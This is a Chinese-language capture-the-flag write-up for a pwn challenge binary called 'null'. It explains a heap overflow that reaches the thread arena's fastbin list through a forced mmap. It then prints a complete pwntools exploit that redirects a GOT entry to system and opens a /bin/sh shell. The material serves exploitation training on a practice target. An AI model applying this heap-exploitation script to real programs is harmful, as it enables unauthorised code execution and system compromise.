1.漏洞利用
主函数启动了一个线程,然后进入 routine,是一个循环:
根据大小和个数一直 malloc,提供输入数据的功能:
问题就出在这个读入函数,for 循环过后,还是继续读入 a2 字节也就是传进来的 size,那这就可以第一次输入 x (< size) 个数据,第二次可以继续在 ptr + x 处读入 size 个字节,因为申请 chunk 的 size 和个数都比较多,如果能覆盖到线程 arena,那么就能将将 fake_chunk_ptr 链接到 fastbin 对应位置,进而分配过去,因为在线程 arena 的头部存在如下结构体:
mstate 结构体则是常见的:
其中存放了 fastbin 等链表头信息,如果能篡改这里为 fake_chunk_ptr,就会分配到这里。
就是这个位置。
但是还有个问题是 arena 是先 mmap 出来的,heap 是之后分配的,heap 的地址比 arena 的地址高,怎么能覆盖到呢?
当管理器检测到 top chunk 不够分配时,会调用 sysmalloc 来进行分配:
sysmalloc 会先尝试去扩展堆,如果不能扩展,就重新 mmap 一块:
那如果我们将当前堆空间消耗没,然后 grow_heap 的下方是 libc 用到的地址,就会在 arena 前 mmap 一块,这样当我们再次消耗完 mmap 的这块堆,那么就可以覆盖到线程 arena,进而篡改 fastbin 链表头。
消耗完堆空间的效果:
此时新 mmap 的堆内容:
其 mstate 指针还是指向原来的 arena,然后消耗完这部分效果:
利用 read 的 size 没更新,可以溢出覆盖到 fastbin 到 :
ptr 指向处布置 “/bin/sh”,0x602038 处布置为 system,执行到此处 getshell。
具体申请 chunk 的数量就是先算个大概,然后试几次就能出来。
2.完整exp
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from ctypes import *
context.log_level = 'debug'
binary = './null'
elf = ELF('./null')
libc = elf.libc
# libc = ELF("./libc64.so")
# libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc6_2.27-3ubuntu1_amd64.so")
# libc = cdll.LoadLibrary("./libc.so.6")
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = "node3.buuoj.cn"
port = 26375
p = remote(host,port)
if DEBUG == 2:
host = ""
port = 0
user = ""
passwd = ""
p = ssh(host,port,user,passwd)
def dbg():
gdb.attach(p)
pause()
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
menu = "Action: "
def cmd(i):
ru(menu)
sl(str(i))
def add(size, cnt, content=''):
cmd(1)
sla("Size: ", str(size))
sla("Pad blocks: ", str(cnt))
if (content == ''):
sla("Content? (0/1): ", "0")
else:
sla("Content? (0/1): ", "1")
sa("Input: ", content)
system_plt = elf.plt['system']
sla("Enter secret password: ", "i'm ready for challenge")
for i in range(12):
add(0x4000, 1000)
add(0x4000, 262, 'a'*0x3ff0)
payload = '1'*0x50 + p32(0) + p32(3) + 10*p64(0x60201d)
sleep(0.2)
se(payload)
sleep(0.2)
payload = '/bin/sh'.ljust(0xB,'\x00') + p64(system_plt)
payload = payload.ljust(0x60,'b')
add(0x60,0,payload)
# dbg()
ia()